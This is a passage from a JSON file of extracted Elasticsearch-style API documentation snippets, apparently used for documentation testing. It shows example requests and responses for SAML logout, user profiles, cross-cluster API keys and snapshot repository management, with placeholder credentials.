\"SAMLRequest=nZFda4MwFIb%2FiuS%2BmviRpqFaClKQdbvo2g12M2KMraCJ9cRR9utnW4Wyi13sMie873MeznJ1aWrnS3VQGR0j4mLkKC1NUeljjA77zYyhVbIE0dR%2By7fmaHq7U%2BdegXWGpAZ%2B%2F4pR32luBFTAtWgUcCv56%2Fp5y30X87Yz1khTIycdgpUW9kY7WdsC9zxoXTvMvWuVV98YyMnSGH2SYE5pwALBIr9QKiwDGpW0oGVUznGeMyJZKFkQ4jBf5HnhUymjIhzCAL3KNFihbYx8TBYzzGaY7EnIyZwHzCWMfiDnbRIftkSjJr%2BFu0e9v%2B0EgOquRiiZjKpiVFp6j50T4WXoyNJ%2FEWC9fdqc1t%2F1%2B2F3aUpjzhPiXpqMz1%2FHSn4A&SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&Signature=MsAYz2NFdovMG2mXf6TSpu5vlQQyEJAg%2B4KCwBqJTmrb3yGXKUtIgvjqf88eCAK32v3eN8vupjPC8LglYmke1ZnjK0%2FKxzkvSjTVA7mMQe2AQdKbkyC038zzRq%2FYHcjFDE%2Bz0qISwSHZY2NyLePmwU7SexEXnIz37jKC6NMEhus%3D\",\n \"realm\" : \"saml1\"\n}"}, {"source_location":{"file":"rest-api/security/saml-complete-logout-api.asciidoc","line":69},"digest":"e0d4a800de2d8f4062e69433586c38db","lang":"console","found":[],"source":"POST /_security/saml/complete_logout\n{\n \"realm\": \"saml1\",\n \"ids\": [ \"_1c368075e0b3...\" ],\n \"query_string\": \"SAMLResponse=fZHLasMwEEVbfb1bf...&SigAlg=http%3A%2F%2Fwww.w3.org%2F2000%2F09%2Fxmldsig%23rsa-sha1&Signature=CuCmFn%2BLqnaZGZJqK...\"\n}"}, {"source_location":{"file":"rest-api/security/saml-complete-logout-api.asciidoc","line":83},"digest":"d46e9739bbf25eb2f7225f58ab08b2a7","lang":"console","found":[],"source":"POST /_security/saml/complete_logout\n{\n \"realm\": \"saml1\",\n \"ids\": [ \"_1c368075e0b3...\" ],\n \"content\": \"PHNhbWxwOkxvZ291dFJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46...\"\n}"}, {"source_location":{"file":"rest-api/security/saml-sp-metadata.asciidoc","line":42},"digest":"31ab4ec26176857280af630bf84a2823","lang":"console","found":[],"source":"GET /_security/saml/metadata/saml1"}, {"source_location":{"file":"rest-api/security/saml-sp-metadata.asciidoc","line":48},"digest":"060a6c5cdfd519ab2810cee34f5fca5e","lang":"console-result","found":[],"source":"{\n \"metadata\" : \"\"\n}"}, {"source_location":{"file":"rest-api/security/ssl.asciidoc","line":84},"digest":"05f6049c677a156bdf9b83e71a3b87ed","lang":"console","found":[],"source":"GET /_ssl/certificates"}, {"source_location":{"file":"rest-api/security/activate-user-profile.asciidoc","line":98},"digest":"0721c8adec544d5ecea3fcc410e45feb","lang":"console","found":[],"source":"POST /_security/profile/_activate\n{\n \"grant_type\": \"password\",\n \"username\" : \"jacknich\",\n \"password\" : \"l0ng-r4nd0m-p@ssw0rd\"\n}"}, {"source_location":{"file":"rest-api/security/activate-user-profile.asciidoc","line":111},"digest":"d62bdebea0ec3146ef3f981f02ae6ab9","lang":"console-result","found":[],"source":"{\n \"uid\": \"u_79HkWkwmnBH5gqFKwoxggWPjEBOur1zLPXQPEl1VBW0_0\",\n \"enabled\": true,\n \"last_synchronized\": 1642650651037,\n \"user\": {\n \"username\": \"jacknich\",\n \"roles\": [\n \"admin\", \"other_role1\"\n ],\n \"realm_name\": \"native\",\n \"full_name\": \"Jack Nicholson\",\n \"email\": \"jacknich@example.com\"\n },\n \"labels\": {},\n \"data\": {},\n \"_doc\": {\n \"_primary_term\": 88,\n \"_seq_no\": 66\n }\n}"}, {"source_location":{"file":"rest-api/security/disable-user-profile.asciidoc","line":59},"digest":"baadbfffcd0c16f51eb3537f516dc3ed","lang":"console","found":[],"source":"POST /_security/profile/u_79HkWkwmnBH5gqFKwoxggWPjEBOur1zLPXQPEl1VBW0_0/_disable"}, {"source_location":{"file":"rest-api/security/enable-user-profile.asciidoc","line":54},"digest":"7a0c633a67244e9703344d036e584d95","lang":"console","found":[],"source":"POST /_security/profile/u_79HkWkwmnBH5gqFKwoxggWPjEBOur1zLPXQPEl1VBW0_0/_enable"}, {"source_location":{"file":"rest-api/security/get-user-profile.asciidoc","line":63},"digest":"9143be4f137574271953a7a8107e175b","lang":"console","found":[],"source":"GET /_security/profile/u_79HkWkwmnBH5gqFKwoxggWPjEBOur1zLPXQPEl1VBW0_0"}, {"source_location":{"file":"rest-api/security/get-user-profile.asciidoc","line":71},"digest":"5fb73fe4280ac0de489640ee9193e806","lang":"console-result","found":[],"source":"{\n \"profiles\": [\n {\n \"uid\": \"u_79HkWkwmnBH5gqFKwoxggWPjEBOur1zLPXQPEl1VBW0_0\",\n \"enabled\": true,\n \"last_synchronized\": 1642650651037,\n \"user\": {\n \"username\": \"jacknich\",\n \"roles\": [\n \"admin\", \"other_role1\"\n ],\n \"realm_name\": \"native\",\n \"full_name\": \"Jack Nicholson\",\n \"email\": \"jacknich@example.com\"\n },\n \"labels\": {\n \"direction\": \"north\"\n },\n \"data\": {}, <1>\n \"_doc\": {\n \"_primary_term\": 88,\n \"_seq_no\": 66\n }\n }\n ]\n}"}, {"source_location":{"file":"rest-api/security/get-user-profile.asciidoc","line":109},"digest":"13df08eefc9ba98e311793bbca74133b","lang":"console","found":[],"source":"GET /_security/profile/u_79HkWkwmnBH5gqFKwoxggWPjEBOur1zLPXQPEl1VBW0_0?data=app1.key1"}, {"source_location":{"file":"rest-api/security/get-user-profile.asciidoc","line":115},"digest":"65c9426792136ef3d3c8ad03f647e215","lang":"console-result","found":[],"source":"{\n \"profiles\": [\n {\n \"uid\": \"u_79HkWkwmnBH5gqFKwoxggWPjEBOur1zLPXQPEl1VBW0_0\",\n \"enabled\": true,\n \"last_synchronized\": 1642650651037,\n \"user\": {\n \"username\": \"jacknich\",\n \"roles\": [\n \"admin\", \"other_role1\"\n ],\n \"realm_name\": \"native\",\n \"full_name\": \"Jack Nicholson\",\n \"email\": \"jacknich@example.com\"\n },\n \"labels\": {\n \"direction\": \"north\"\n },\n \"data\": {\n \"app1\": {\n \"key1\": \"value1\"\n }\n },\n \"_doc\": {\n \"_primary_term\": 88,\n \"_seq_no\": 66\n }\n }\n ]\n}"}, {"source_location":{"file":"rest-api/security/suggest-user-profile.asciidoc","line":99},"digest":"7d880157a95f64ad339225d4af71c2de","lang":"console","found":[],"source":"POST /_security/profile/_suggest\n{\n \"name\": \"jack\", <1>\n \"hint\": {\n \"uids\": [ <2>\n \"u_8RKO7AKfEbSiIHZkZZ2LJy2MUSDPWDr3tMI_CkIGApU_0\",\n \"u_79HkWkwmnBH5gqFKwoxggWPjEBOur1zLPXQPEl1VBW0_0\"\n ],\n \"labels\": {\n \"direction\": [\"north\", \"east\"] <3>\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/suggest-user-profile.asciidoc","line":122},"digest":"1bff3511bf0e9c7adf12e0c60a72601f","lang":"console-result","found":[],"source":"{\n \"took\": 30,\n \"total\": {\n \"value\": 3,\n \"relation\": \"eq\"\n },\n \"profiles\": [\n {\n \"uid\": \"u_79HkWkwmnBH5gqFKwoxggWPjEBOur1zLPXQPEl1VBW0_0\",\n \"user\": {\n \"username\": \"jacknich\", <1>\n \"roles\": [ \"admin\", \"other_role1\" ],\n \"realm_name\": \"native\",\n \"email\" : \"jacknich@example.com\",\n \"full_name\": \"Jack Nicholson\"\n },\n \"labels\": {\n \"direction\": \"north\"\n },\n \"data\": {}\n },\n {\n \"uid\": \"u_8RKO7AKfEbSiIHZkZZ2LJy2MUSDPWDr3tMI_CkIGApU_0\",\n \"user\": {\n \"username\": \"jackspa\", <2>\n \"roles\": [ \"user\" ],\n \"realm_name\": \"native\",\n \"email\" : \"jackspa@example.com\",\n \"full_name\": \"Jack Sparrow\"\n },\n \"labels\": {\n \"direction\": \"south\"\n },\n \"data\": {}\n },\n {\n \"uid\": \"u_P_0BMHgaOK3p7k-PFWUCbw9dQ-UFjt01oWJ_Dp2PmPc_0\",\n \"user\": {\n \"username\": \"jackrea\", <3>\n \"roles\": [ \"admin\" ],\n \"realm_name\": \"native\",\n \"email\" : \"jackrea@example.com\",\n \"full_name\": \"Jack Reacher\"\n },\n \"labels\": {\n \"direction\": \"west\"\n },\n \"data\": {}\n }\n ]\n}"}, {"source_location":{"file":"rest-api/security/update-user-profile-data.asciidoc","line":100},"digest":"ba21a7fbb74180ff138d97032f28ace7","lang":"console","found":[],"source":"POST /_security/profile/u_P_0BMHgaOK3p7k-PFWUCbw9dQ-UFjt01oWJ_Dp2PmPc_0/_data\n{\n \"labels\": {\n \"direction\": \"east\"\n },\n \"data\": {\n \"app1\": {\n \"theme\": \"default\"\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/update-user-profile-data.asciidoc","line":118},"digest":"32b7963c5cabbe9cc7d15da62f5edda9","lang":"console","found":[],"source":"POST /_security/profile/u_P_0BMHgaOK3p7k-PFWUCbw9dQ-UFjt01oWJ_Dp2PmPc_0/_data\n{\n \"labels\": {\n \"direction\": \"west\"\n },\n \"data\": {\n \"app1\": {\n \"font\": \"large\"\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/update-user-profile-data.asciidoc","line":135},"digest":"4f666d710758578e2582850dac3ad144","lang":"console","found":[],"source":"GET /_security/profile/u_P_0BMHgaOK3p7k-PFWUCbw9dQ-UFjt01oWJ_Dp2PmPc_0?data=*"}, {"source_location":{"file":"rest-api/security/update-user-profile-data.asciidoc","line":141},"digest":"f46332f54923fa01a8e4e5735eaeff10","lang":"console-result","found":[],"source":"{\n \"profiles\": [\n {\n \"uid\": \"u_P_0BMHgaOK3p7k-PFWUCbw9dQ-UFjt01oWJ_Dp2PmPc_0\",\n \"enabled\": true,\n \"last_synchronized\": 1642650651037,\n \"user\": {\n \"username\": \"jackrea\",\n \"roles\": [\n \"admin\"\n ],\n \"realm_name\": \"native\",\n \"full_name\": \"Jack Reacher\",\n \"email\": \"jackrea@example.com\"\n },\n \"labels\": {\n \"direction\": \"west\"\n },\n \"data\": {\n \"app1\": {\n \"theme\": \"default\",\n \"font\": \"large\"\n }\n },\n \"_doc\": {\n \"_primary_term\": 88,\n \"_seq_no\": 66\n }\n }\n ]\n}"}, {"source_location":{"file":"rest-api/security/has-privileges-user-profile.asciidoc","line":98},"digest":"fce5c03a388c893cb11a6696e068543f","lang":"console","found":[],"source":"POST /_security/profile/_has_privileges\n{\n \"uids\": [\n \"u_LQPnxDxEjIH0GOUoFkZr5Y57YUwSkL9Joiq-g4OCbPc_0\",\n \"u_rzRnxDgEHIH0GOUoFkZr5Y27YUwSk19Joiq=g4OCxxB_1\",\n \"u_does-not-exist_0\"\n ],\n \"privileges\": {\n \"cluster\": [ \"monitor\", \"create_snapshot\", \"manage_ml\" ],\n \"index\" : [\n {\n \"names\": [ \"suppliers\", \"products\" ],\n \"privileges\": [ \"create_doc\"]\n },\n {\n \"names\": [ \"inventory\" ],\n \"privileges\" : [ \"read\", \"write\" ]\n }\n ],\n \"application\": [\n {\n \"application\": \"inventory_manager\",\n \"privileges\" : [ \"read\", \"data:write/inventory\" ],\n \"resources\" : [ \"product/1852563\" ]\n }\n ]\n }\n}"}, {"source_location":{"file":"rest-api/security/create-cross-cluster-api-key.asciidoc","line":106},"digest":"56563f91d9f0b74e9e4aae9cb221845b","lang":"console","found":[],"source":"POST /_security/cross_cluster/api_key\n{\n \"name\": \"my-cross-cluster-api-key\",\n \"expiration\": \"1d\", <1>\n \"access\": {\n \"search\": [ <2>\n {\n \"names\": [\"logs*\"]\n }\n ],\n \"replication\": [ <3>\n {\n \"names\": [\"archive*\"]\n }\n ]\n },\n \"metadata\": {\n \"description\": \"phase one\",\n \"environment\": {\n \"level\": 1,\n \"trusted\": true,\n \"tags\": [\"dev\", \"staging\"]\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/create-cross-cluster-api-key.asciidoc","line":141},"digest":"1b45f1f7070331f50df7c92a74d7f452","lang":"console-result","found":[],"source":"{\n \"id\": \"VuaCfGcBCdbkQm-e5aOx\", <1>\n \"name\": \"my-cross-cluster-api-key\",\n \"expiration\": 1544068612110, <2>\n \"api_key\": \"ui2lp2axTNmsyakw9tvNnw\", <3>\n \"encoded\": \"VnVhQ2ZHY0JDZGJrUW0tZTVhT3g6dWkybHAyYXhUTm1zeWFrdzl0dk5udw==\" <4>\n}"}, {"source_location":{"file":"rest-api/security/create-cross-cluster-api-key.asciidoc","line":163},"digest":"701f1fffc65e9e51c96aa60261e2eae3","lang":"console","found":[],"source":"GET /_security/api_key?id=VuaCfGcBCdbkQm-e5aOx"}, {"source_location":{"file":"rest-api/security/update-cross-cluster-api-key.asciidoc","line":85},"digest":"839710129a165cf93c6e329abedf9089","lang":"console","found":[],"source":"POST /_security/cross_cluster/api_key\n{\n \"name\": \"my-cross-cluster-api-key\",\n \"access\": {\n \"search\": [\n {\n \"names\": [\"logs*\"]\n }\n ]\n },\n \"metadata\": {\n \"application\": \"search\"\n }\n}"}, {"source_location":{"file":"rest-api/security/update-cross-cluster-api-key.asciidoc","line":106},"digest":"433b60cec9f001cefb7d1c0eae9fd92c","lang":"console-result","found":[],"source":"{\n \"id\": \"VuaCfGcBCdbkQm-e5aOx\",\n \"name\": \"my-cross-cluster-api-key\",\n \"api_key\": \"ui2lp2axTNmsyakw9tvNnw\",\n \"encoded\": \"VnVhQ2ZHY0JDZGJrUW0tZTVhT3g6dWkybHAyYXhUTm1zeWFrdzl0dk5udw==\"\n}"}, {"source_location":{"file":"rest-api/security/update-cross-cluster-api-key.asciidoc","line":122},"digest":"701f1fffc65e9e51c96aa60261e2eae3","lang":"console","found":[],"source":"GET /_security/api_key?id=VuaCfGcBCdbkQm-e5aOx"}, {"source_location":{"file":"rest-api/security/update-cross-cluster-api-key.asciidoc","line":193},"digest":"3b64821fe9db73eb03860c60d775d7ff","lang":"console","found":[],"source":"PUT /_security/cross_cluster/api_key/VuaCfGcBCdbkQm-e5aOx\n{\n \"access\": {\n \"replication\": [\n {\n \"names\": [\"archive\"]\n }\n ]\n },\n \"metadata\": {\n \"application\": \"replication\"\n }\n}"}, {"source_location":{"file":"rest-api/security/update-cross-cluster-api-key.asciidoc","line":214},"digest":"95e65c9325e827594b2135ac85b26c4a","lang":"console-result","found":[],"source":"{\n \"updated\": true\n}"}, {"source_location":{"file":"snapshot-restore/apis/put-repo-api.asciidoc","line":10},"digest":"89b72dd7f747f6297c2b089e8bc807be","lang":"console","found":["ruby"],"source":"PUT /_snapshot/my_repository\n{\n \"type\": \"fs\",\n \"settings\": {\n \"location\": \"my_backup_location\"\n }\n}"}, {"source_location":{"file":"snapshot-restore/apis/verify-repo-api.asciidoc","line":25},"digest":"3fe5e6c0d5ea4586aa04f989ae54b72e","lang":"console","found":["ruby"],"source":"POST /_snapshot/my_repository/_verify"}, {"source_location":{"file":"snapshot-restore/apis/repo-analysis-api.asciidoc","line":26},"digest":"67aac8882fa476db8a5878b67ea08eb3","lang":"console","found":["ruby"],"source":"POST /_snapshot/my_repository/_analyze?blob_count=10&max_blob_size=1mb&timeout=120s"}, {"source_location":{"file":"snapshot-restore/apis/get-repo-api.asciidoc","line":25},"digest":"218b9009f120e8ad33f710e019179562","lang":"console","found":["ruby"],"source":"GET /_snapshot/my_repository"}, {"source_location":{"file":"snapshot-restore/apis/get-repo-api.asciidoc","line":119},"digest":"218b9009f120e8ad33f710e019179562","lang":"console","found":["ruby"],"source":"GET /_snapshot/my_repository"}, {"source_location":{"file":"snapshot-restore/apis/get-repo-api.asciidoc","line":126},"digest":"f935f55429b031d1bd38d15f3bfa4fe8","lang":"console-result","found":[],"source":"{\n \"my_repository\" : {\n \"type\" : \"fs\",\n \"uuid\" : \"0JLknrXbSUiVPuLakHjBrQ\",\n \"settings\" : {\n \"location\" : \"my_backup_location\"\n }\n }\n}"}, {"source_location":{"file":"snapshot-restore/apis/delete-repo-api.asciidoc","line":27},"digest":"ff56ded50c65998c70f3c5691ddc6f86","lang":"console","found":["ruby"],"source":"DELETE /_snapshot/my_repository"}, {"source_location":{"file":"snapshot-restore/apis/clean-up-repo-api.asciidoc","line":26},"digest":"6aca241c0361d26f134712821e2d09a9","lang":"console","found":["ruby"],"source":"POST /_snapshot/my_repository/_cleanup"}, {"source_location":{"file":"snapshot-restore/apis/clean-up-repo-api.asciidoc","line":79},"digest":"6aca241c0361d26f134712821e2d09a9","lang":"console","found":["ruby"],"source":"POST /_snapshot/my_repository/_cleanup"}, {"source_location":{"file":"snapshot-restore/apis/clean-up-repo-api.asciidoc","line":86},"digest":"5e309dfb203bf2b89cd8a4c353c4b6f5","lang":"console-result","found":[],"source":"{\n \"results\": {\n \"deleted_bytes\": 20,\n \"deleted_blobs\": 5\n }\n}"}, {"source_location":{"file":"snapshot-restore/apis/clone-snapshot-api.asciidoc","line":10},"digest":"3bfa2362add163802fc2210cc2f37ba2","lang":"console","found":["ruby"],"source":"PUT /_snapshot/my_repository/source_snapshot/_clone/target_snapshot\n{\n \"indices\": \"index_a,index_b\"\n}"}, {"source_location":{"file":"snapshot-restore/apis/create-snapshot-api.asciidoc","line":25},"digest":"1f3dd84ab11bae09d3f99b1b3536e239","lang":"console","found":["ruby"],"source":"PUT /_snapshot/my_repository/my_snapshot"}, {"source_location":{"file":"snapshot-restore/apis/create-snapshot-api.asciidoc","line":160},"digest":"3f30310cc6d0adae6b0f61705624a695","lang":"console","found":["ruby"],"source":"PUT /_snapshot/my_repository/snapshot_2?wait_for_completion=true\n{\n \"indices\": \"index_1,index_2\",\n \"ignore_unavailable\": true,\n \"include_global_state\": false,\n \"metadata\": {\n \"taken_by\": \"user123\",\n \"taken_because\": \"backup before upgrading\"\n }\n}"}, {"source_location":{"file":"snapshot-restore/apis/create-snapshot-api.asciidoc","line":176},"digest":"11f673a80dbc98a6bfc0a6f5a2de3168","lang":"console-result","found":[],"source":"{\n \"snapshot\": {\n \"snapshot\": \"snapshot_2\",\n \"uuid\": \"vdRctLCxSketdKb54xw67g\",\n \"repository\": \"my_repository\",\n \"version_id\": ,\n \"version\": ,\n \"indices\": [],\n \"data_streams\": [],\n \"feature_states\": [],\n \"include_global_state\": false,\n \"metadata\": {\n \"taken_by\": \"user123\",\n \"taken_because\": \"backup before upgrading\"\n },\n \"state\": \"SUCCESS\",\n \"start_time\": \"2020-06-25T14:00:28.850Z\",\n \"start_time_in_millis\": 1593093628850,\n \"end_time\": \"2020-06-25T14:00:28.850Z\",\n \"end_time_in_millis\": 1593094752018,\n \"duration_in_millis\": 0,\n \"failures\": [],\n \"shards\": {\n \"total\": 0,\n \"failed\": 0,\n \"successful\": 0\n }\n }\n}"}, {"source_location":{"file":"snapshot-restore/apis/get-snapshot-api.asciidoc","line":44},"digest":"a811b82ba4632bdd9065829085188bc9","lang":"console","found":["ruby"],"source":"GET /_snapshot/my_repository/my_snapshot"}, {"source_location":{"file":"snapshot-restore/apis/get-snapshot-api.asciidoc","line":351},"digest":"bfb8a15cd05b43094ffbce8078bad3e1","lang":"console","found":["ruby"],"source":"GET /_snapshot/my_repository/snapshot_2"}, {"source_location":{"file":"snapshot-restore/apis/get-snapshot-api.asciidoc","line":358},"digest":"58f488442a4d13c973dd02f0120f1a58","lang":"console-result","found":[],"source":"{\n \"snapshots\": [\n {\n \"snapshot\": \"snapshot_2\",\n \"uuid\": \"vdRctLCxSketdKb54xw67g\",\n \"repository\": \"my_repository\",\n \"version_id\": ,\n \"version\": ,\n \"indices\": [],\n \"data_streams\": [],\n \"feature_states\": [],\n \"include_global_state\": true,\n \"state\": \"SUCCESS\",\n \"start_time\": \"2020-07-06T21:55:18.129Z\",\n \"start_time_in_millis\": 1593093628850,\n \"end_time\": \"2020-07-06T21:55:18.129Z\",\n \"end_time_in_millis\": 1593094752018,\n \"duration_in_millis\": 0,\n \"failures\": [],\n \"shards\": {\n \"total\": 0,\n \"failed\": 0,\n \"successful\": 0\n }\n }\n ],\n \"total\": 1,\n \"remaining\": 0\n}"}, {"source_location":{"file":"snapshot-restore/apis/get-snapshot-api.asciidoc","line":402},"digest":"172155ca4bf6dfcbd489453f50739396","lang":"console","found":["ruby"],"source":"GET /_snapshot/my_repository/snapshot*?size=2&sort=name"}, {"source_location":{"file":"snapshot-restore/apis/get-snapshot-api.asciidoc","line":409},"digest":"de771f61decaf3dd487b6dbe4d90ed95","lang":"console-result","found":[],"source":"{\n \"snapshots\": [\n {\n \"snapshot\": \"snapshot_1\",\n \"uuid\": \"dKb54xw67gvdRctLCxSket\",\n \"repository\": \"my_repository\",\n \"version_id\": ,\n \"version\": ,\n \"indices\": [],\n \"data_streams\": [],\n \"feature_states\": [],\n \"include_global_state\": true,\n \"state\": \"SUCCESS\",\n \"start_time\": \"2020-07-06T21:55:18.129Z\",\n \"start_time_in_millis\": 1593093628850,\n \"end_time\": \"2020-07-06T21:55:18.129Z\",\n \"end_time_in_millis\": 1593094752018,\n \"duration_in_millis\": 0,\n \"failures\": [],\n \"shards\": {\n \"total\": 0,\n \"failed\": 0,\n \"successful\": 0\n }\n },\n {\n \"snapshot\": \"snapshot_2\",\n \"uuid\": \"vdRctLCxSketdKb54xw67g\",\n \"repository\": \"my_repository\",\n \"version_id\": ,\n \"version\": ,\n \"indices\": [],\n \"data_streams\": [],\n \"feature_states\": [],\n \"include_global_state\": true,\n \"state\": \"SUCCESS\",\n \"start_time\": \"2020-07-06T21:55:18.130Z\",\n \"start_time_in_millis\": 1593093628851,\n \"end_time\": \"2020-07-06T21:55:18.130Z\",\n \"end_time_in_millis\": 1593094752019,\n \"duration_in_millis\": 1,\n \"failures\": [],\n \"shards\": {\n \"total\": 0,\n \"failed\": 0,\n \"successful\": 0\n }\n }\n ],\n \"next\": \"c25hcHNob3RfMixteV9yZXBvc2l0b3J5LHNuYXBzaG90XzI=\",\n \"total\": 3,\n \"remaining\": 1\n}"}, {"source_location":{"file":"snapshot-restore/apis/get-snapshot-api.asciidoc","line":482},"digest":"eb964d8d7f27c057a4542448ba5b74e4","lang":"console","found":["ruby"],"source":"GET /_snapshot/my_repository/snapshot*?size=2&sort=name&after=c25hcHNob3RfMixteV9yZXBvc2l0b3J5LHNuYXBzaG90XzI="}, {"source_location":{"file":"snapshot-restore/apis/get-snapshot-api.asciidoc","line":489},"digest":"97b39f3a137131ee49d7f59864d3ff22","lang":"console-result","found":[],"source":"{\n \"snapshots\": [\n {\n \"snapshot\": \"snapshot_3\",\n \"uuid\": \"dRctdKb54xw67gvLCxSket\",\n \"repository\": \"my_repository\",\n \"version_id\": ,\n \"version\": ,\n \"indices\": [],\n \"data_streams\": [],\n \"feature_states\": [],\n \"include_global_state\": true,\n \"state\": \"SUCCESS\",\n \"start_time\": \"2020-07-06T21:55:18.129Z\",\n \"start_time_in_millis\": 1593093628850,\n \"end_time\": \"2020-07-06T21:55:18.129Z\",\n \"end_time_in_millis\": 1593094752018,\n \"duration_in_millis\": 0,\n \"failures\": [],\n \"shards\": {\n \"total\": 0,\n \"failed\": 0,\n \"successful\": 0\n }\n }\n ],\n \"total\": 3,\n \"remaining\": 0\n}"}, {"source_location":{"file":"snapshot-restore/apis/get-snapshot-api.asciidoc","line":532},"digest":"708e7ec681be41791f232817a07cda82","lang":"console","found":["ruby"],"source":"GET /_snapshot/my_repository/snapshot*?size=2&sort=name&offset=2"}, {"source_location":{"file":"snapshot-restore/apis/get-snapshot-api.asciidoc","line":539},"digest":"97b39f3a137131ee49d7f59864d3ff22","lang":"console-result","found":[],"source":"{\n \"snapshots\": [\n {\n \"snapshot\": \"snapshot_3\",\n \"uuid\": \"dRctdKb54xw67gvLCxSket\",\n \"repository\": \"my_repository\",\n \"version_id\": ,\n \"version\": ,\n \"indices\": [],\n \"data_streams\": [],\n \"feature_states\": [],\n \"include_global_state\": true,\n \"state\": \"SUCCESS\",\n \"start_time\": \"2020-07-06T21:55:18.129Z\",\n \"start_time_in_millis\": 1593093628850,\n \"end_time\": \"2020-07-06T21:55:18.129Z\",\n \"end_time_in_millis\": 1593094752018,\n \"duration_in_millis\": 0,\n \"failures\": [],\n \"shards\": {\n \"total\": 0,\n \"failed\": 0,\n \"successful\": 0\n }\n }\n ],\n \"total\": 3,\n \"remaining\": 0\n}"}, {"source_location":{"file":"snapshot-restore/apis/get-snapshot-api.asciidoc","line":583},"digest":"06454a8e85e2d3479c90390bb955eb39","lang":"console","found":["ruby"],"source":"GET /_snapshot/my_repository/snapshot*,-snapshot_3?sort=name"}, {"source_location":{"file":"snapshot-restore/apis/get-snapshot-api.asciidoc","line":590},"digest":"e39b4fc663c24ded226b47e452c808af","lang":"console-result","found":[],"source":"{\n \"snapshots\": [\n {\n \"snapshot\": \"snapshot_1\",\n \"uuid\": \"dKb54xw67gvdRctLCxSket\",\n \"repository\": \"my_repository\",\n \"version_id\": ,\n \"version\": ,\n \"indices\": [],\n \"data_streams\": [],\n \"feature_states\": [],\n \"include_global_state\": true,\n \"state\": \"SUCCESS\",\n \"start_time\": \"2020-07-06T21:55:18.129Z\",\n \"start_time_in_millis\": 1593093628850,\n \"end_time\": \"2020-07-06T21:55:18.129Z\",\n \"end_time_in_millis\": 1593094752018,\n \"duration_in_millis\": 0,\n \"failures\": [],\n \"shards\": {\n \"total\": 0,\n \"failed\": 0,\n \"successful\": 0\n }\n },\n {\n \"snapshot\": \"snapshot_2\",\n \"uuid\": \"vdRctLCxSketdKb54xw67g\",\n \"repository\": \"my_repository\",\n \"version_id\": ,\n \"version\": ,\n \"indices\": [],\n \"data_streams\": [],\n \"feature_states\": [],\n \"include_global_state\": true,\n \"state\": \"SUCCESS\",\n \"start_time\": \"2020-07-06T21:55:18.130Z\",\n \"start_time_in_millis\": 1593093628851,\n \"end_time\": \"2020-07-06T21:55:18.130Z\",\n \"end_time_in_millis\": 1593094752019,\n \"duration_in_millis\": 1,\n \"failures\": [],\n \"shards\": {\n \"total\": 0,\n \"failed\": 0,\n \"successful\": 0\n }\n }\n ],\n \"total\": 2,\n \"remaining\": 0\n}"}, {"source_location":{"file":"snapshot-restore/apis/get-snapshot-api.asciidoc","line":664},"digest":"72bae0252b74ff6fd9f0702ff008d84a","lang":"console","found":["ruby"],"source":"GET /_snapshot/my_repository/*?sort=name&from_sort_value=snapshot_2"}, {"source_location":{"file":"snapshot-restore/apis/get-snapshot-api.asciidoc","line":671},"digest":"19c91a5df7bb9ae61744613c4ffffdbe","lang":"console-result","found":[],"source":"{\n \"snapshots\": [\n {\n \"snapshot\": \"snapshot_2\",\n \"uuid\": \"vdRctLCxSketdKb54xw67g\",\n \"repository\": \"my_repository\",\n \"version_id\": ,\n \"version\": ,\n \"indices\": [],\n \"data_streams\": [],\n \"feature_states\": [],\n \"include_global_state\": true,\n \"state\": \"SUCCESS\",\n \"start_time\": \"2020-07-06T21:55:18.130Z\",\n \"start_time_in_millis\": 1593093628851,\n \"end_time\": \"2020-07-06T21:55:18.130Z\",\n \"end_time_in_millis\": 1593094752019,\n \"duration_in_millis\": 1,\n \"failures\": [],\n \"shards\": {\n \"total\": 0,\n \"failed\": 0,\n \"successful\": 0\n }\n },\n {\n \"snapshot\": \"snapshot_3\",\n \"uuid\": \"dRctdKb54xw67gvLCxSket\",\n \"repository\": \"my_repository\",\n \"version_id\": ,\n \"version\": ,\n \"indices\": [],\n \"data_streams\": [],\n \"feature_states\": [],\n \"include_global_state\": true,\n \"state\": \"SUCCESS\",\n \"start_time\": \"2020-07-06T21:55:18.129Z\",\n \"start_time_in_millis\": 1593093628850,\n \"end_time\": \"2020-07-06T21:55:18.129Z\",\n \"end_time_in_millis\": 1593094752018,\n \"duration_in_millis\": 0,\n \"failures\": [],\n \"shards\": {\n \"total\": 0,\n \"failed\": 0,\n \"successful\": 0\n }\n }\n ],\n \"total\": 2,\n \"remaining\": 0\n}"}, {"source_location":{"file":"snapshot-restore/apis/get-snapshot-api.asciidoc","line":745},"digest":"beaf43b274b0f32cf3cf48f59e5cb1f2","lang":"console","found":["ruby"],"source":"GET /_snapshot/my_repository/snapshot_*?sort=start_time&from_sort_value=1577833200000"}, {"source_location":{"file":"snapshot-restore/apis/get-snapshot-api.asciidoc","line":752},"digest":"ef3ca0432263fb59237ed2da26bd4ae3","lang":"console-result","found":[],"source":"{\n \"snapshots\": [\n {\n \"snapshot\": \"snapshot_1\",\n \"uuid\": \"dKb54xw67gvdRctLCxSket\",\n \"repository\": \"my_repository\",\n \"version_id\": ,\n \"version\": ,\n \"indices\": [],\n \"data_streams\": [],\n \"feature_states\": [],\n \"include_global_state\": true,\n \"state\": \"SUCCESS\",\n \"start_time\": \"2020-07-06T21:55:18.128Z\",\n \"start_time_in_millis\": 1593093628849,\n \"end_time\": \"2020-07-06T21:55:18.129Z\",\n \"end_time_in_millis\": 1593093628850,\n \"duration_in_millis\": 1,\n \"failures\": [],\n \"shards\": {\n \"total\": 0,\n \"failed\": 0,\n \"successful\": 0\n }\n },\n {\n \"snapshot\": \"snapshot_2\",\n \"uuid\": \"vdRctLCxSketdKb54xw67g\",\n \"repository\": \"my_repository\",\n \"version_id\": ,\n \"version\": ,\n \"indices\": [],\n \"data_streams\": [],\n \"feature_states\": [],\n \"include_global_state\": true,\n \"state\": \"SUCCESS\",\n \"start_time\": \"2020-07-06T21:55:18.130Z\",\n \"start_time_in_millis\": 1593093628851,\n \"end_time\": \"2020-07-06T21:55:18.130Z\",\n \"end_time_in_millis\": 1593093628851,\n \"duration_in_millis\": 0,\n \"failures\": [],\n \"shards\": {\n \"total\": 0,\n \"failed\": 0,\n \"successful\": 0\n }\n },\n {\n \"snapshot\": \"snapshot_3\",\n \"uuid\": 